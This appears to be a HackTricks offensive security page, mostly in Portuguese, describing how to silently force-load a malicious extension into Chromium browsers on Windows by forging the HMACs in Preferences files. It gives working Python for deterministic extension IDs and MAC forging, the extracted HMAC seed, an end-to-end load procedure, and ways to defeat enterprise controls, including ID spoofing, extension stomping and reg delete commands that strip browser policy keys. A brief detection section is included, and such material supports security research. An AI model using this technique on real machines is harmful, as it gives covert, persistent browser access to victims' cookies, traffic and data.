Forced Extension Load & Preferences MAC Forgery (Windows)

Reading time: 9 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Visão geral

Técnica stealthy de post-exploitation para force-load arbitrary extensions em navegadores baseados em Chromium no Windows editando as Preferences/Secure Preferences de um usuário e forjando HMACs válidos para os nós modificados. Funciona contra Chrome/Chromium, Edge e Brave. Observado aplicável do Chromium 130 ao 139 na data de publicação. Um simples disk write primitive no profile da vítima é suficiente para persistir uma extensão com privilégios completos sem flags de linha de comando ou prompts do usuário.

Ideia-chave: Chromium armazena o estado por usuário das extensões em um arquivo de preferences JSON e o protege com HMAC-SHA256. Se você calcular MACs válidos com a seed embutida do navegador e escrevê-los ao lado dos nós injetados, o navegador aceita e ativa sua entrada de extensão.

Onde o estado da extensão fica (Windows)

  • Non–domain‑joined Chrome profile:
  • %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (includes a root "super_mac").
  • Domain‑joined Chrome profile:
  • %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
  • Principais nós usados pelo Chromium:
  • extensions.settings.<extension_id> → embedded manifest/metadata para a entrada da extensão
  • protection.macs.extensions.settings.<extension_id> → HMAC para esse blob JSON
  • Chromium ≥134: extensions.ui.developer_mode (boolean) deve estar presente e MAC‑signed para que unpacked extensions sejam ativadas

Esquema simplificado (ilustrativo):

json
{
"extensions": {
"settings": {
"<extension_id>": {
"name": "Extension name",
"manifest_version": 3,
"version": "1.0",
"key": "<BASE64 DER SPKI>",
"path": "<absolute path if unpacked>",
"state": 1,
"from_bookmark": false,
"was_installed_by_default": false
// ...rest of manifest.json + required install metadata
}
},
"ui": { "developer_mode": true }
},
"protection": {
"macs": {
"extensions": {
"settings": { "<extension_id>": "<MAC>" },
"ui": { "developer_mode": "<MAC>" }
}
}
}
}

Notas:

  • Edge/Brave mantêm estruturas similares. O valor do protection seed pode diferir (observou‑se que, em alguns builds, Edge/Brave usam uma seed nula/ou outra).

IDs de extensão: caminho vs chave e como torná‑los determinísticos

O Chromium deriva o ID da extensão da seguinte forma:

  • Extensão empacotada/assinada: ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0–f to a–p
  • Desempacotada (sem "key" em manifest.json): ID = SHA‑256 over the absolute installation path bytes → map 0–f to a–p

Para manter um ID estável entre hosts, incorpore uma chave pública DER fixa em base64 em manifest.json sob o campo "key". O ID será derivado dessa chave em vez do caminho de instalação.

Auxiliar para gerar um ID determinístico e um par de chaves:

python
import base64
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa

def translate_crx_id(s: str) -> str:
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
return ''.join(t.get(c, c) for c in s)

def generate_extension_keys() -> tuple[str,str,str]:
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
pub_b64 = base64.b64encode(spki).decode('utf-8')
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
return crx_id, pub_b64, priv_b64

print(generate_extension_keys())

Adicione a chave pública gerada ao seu manifest.json para bloquear o ID:

json
{
"manifest_version": 3,
"name": "Synacktiv extension",
"version": "1.0",
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
}

Forging Preferences integrity MACs (core bypass)

Chromium protege as preferências com HMAC‑SHA256 sobre "path" + valor JSON serializado de cada nó. A HMAC seed está embutida no resources.pak do navegador e ainda era válida até o Chromium 139.

Extraia a seed com GRIT pak_util e localize o seed container (file id 146 nas builds testadas):

bash
python3 pak_util.py extract resources.pak -o resources_v139/
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
# compare a clean vs minimally modified resources.pak to spot the seed holder
xxd -p resources_v139/146
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8

Calcule os MACs (hexadecimal em maiúsculas) como:

text
ext_mac = HMAC_SHA256(seed,
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))

devmode_mac = HMAC_SHA256(seed,
"extensions.ui.developer_mode" + ("true" or "false"))

Exemplo mínimo em Python:

python
import json, hmac, hashlib

def mac_upper(seed_hex: str, pref_path: str, value) -> str:
seed = bytes.fromhex(seed_hex)
# Compact JSON to match Chromium serialization closely
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
msg = (pref_path + val).encode('utf-8')
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()

# Example usage
settings_path = f"extensions.settings.{crx_id}"
devmode_path = "extensions.ui.developer_mode"
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
devmode_mac = mac_upper(seed_hex, devmode_path, "true")

Write the values under:

  • protection.macs.extensions.settings.<crx_id> = ext_mac
  • protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)

Browser differences: on Microsoft Edge and Brave the seed may be null/different. The HMAC structure remains the same; adjust the seed accordingly.

Dicas de implementação

  • Use exatamente a mesma serialização JSON que o Chromium usa ao calcular os MACs (JSON compacto sem whitespace funciona na prática; ordenar chaves pode ajudar a evitar problemas de ordenação).
  • Garanta que extensions.ui.developer_mode exista e esteja assinada no Chromium ≥134, ou sua entrada unpacked não será ativada.

Fluxo de carregamento silencioso ponta a ponta (Windows)

  1. Gere um ID determinístico e incorpore "key" em manifest.json; prepare uma extensão MV3 unpacked com as permissões desejadas (service worker/content scripts)
  2. Crie extensions.settings. incorporando o manifest e os metadados mínimos de instalação exigidos pelo Chromium (state, path for unpacked, etc.)
  3. Extraia o seed HMAC de resources.pak (file 146) e calcule dois MACs: um para o nó de settings e outro para extensions.ui.developer_mode (Chromium ≥134)
  4. Grave os nós forjados e os MACs nas Preferences/Secure Preferences do perfil alvo; no próximo lançamento sua extensão será auto‑ativada com todos os privilégios declarados

Contornando controles empresariais

  • Whitelisted extension hash spoofing (ID spoofing)
  1. Instale uma extensão válida da Web Store e anote seu ID
  2. Obtenha sua public key (por exemplo, via chrome.runtime.getManifest().key no background/service worker ou buscando/parseando seu .crx)
  3. Defina essa key como manifest.key na sua extensão modificada para reproduzir o mesmo ID
  4. Registre a entrada nas Preferences e assine os MACs → verificações do ExtensionInstallAllowlist que batem apenas pelo ID são contornadas
  • Extension stomping (ID collision precedence)

  • Se uma extensão local unpacked compartilha o mesmo ID de uma extensão instalada pela Web Store, o Chromium prefere a versão unpacked. Isso substitui efetivamente a extensão legítima em chrome://extensions enquanto preserva o ID confiável. Verificado no Chrome e no Edge (ex.: Adobe PDF)

  • Neutralizing GPO via HKCU (requires admin)

  • Chrome/Edge policies live under HKCU\Software\Policies*

  • Com privilégios de admin, delete/modifique as chaves de policy antes de gravar suas entradas para evitar bloqueios:

powershell
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f

Fallback ruidoso: carregamento pela linha de comando

A partir do Chromium ≥137, --load-extension também exige passar:

text
--disable-features=DisableLoadExtensionCommandLineSwitch

This approach is widely known and monitored (e.g., by EDR/DFIR; used by commodity malware like Chromeloader). Preference MAC forging is stealthier.

Related flags and more cross‑platform tricks are discussed here:

macOS Chromium Injection

Impacto operacional

Uma vez aceita, a extensão é executada com as permissões declaradas, permitindo acesso ao DOM, interceptação/redirecionamento de requests, acesso a cookie/storage e captura de screenshots — efetivamente execução de código no navegador e persistência durável no perfil do usuário. A implantação remota via SMB ou outros canais é direta porque a ativação é orientada por dados através das Preferences.

Detecção e hardening

  • Monitorar processos não‑Chromium escrevendo em Preferences/Secure Preferences, especialmente novos nós sob extensions.settings pareados com entradas protection.macs
  • Alertar sobre alternâncias inesperadas de extensions.ui.developer_mode e sobre entradas de extensão HMAC‑válidas mas não aprovadas
  • Auditar HKCU/HKLM Software\Policies para adulteração; aplicar políticas via gerenciamento de dispositivos/Chrome Browser Cloud Management
  • Preferir forced‑install a partir da store com publishers verificados em vez de allowlists que correspondam apenas ao extension ID

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks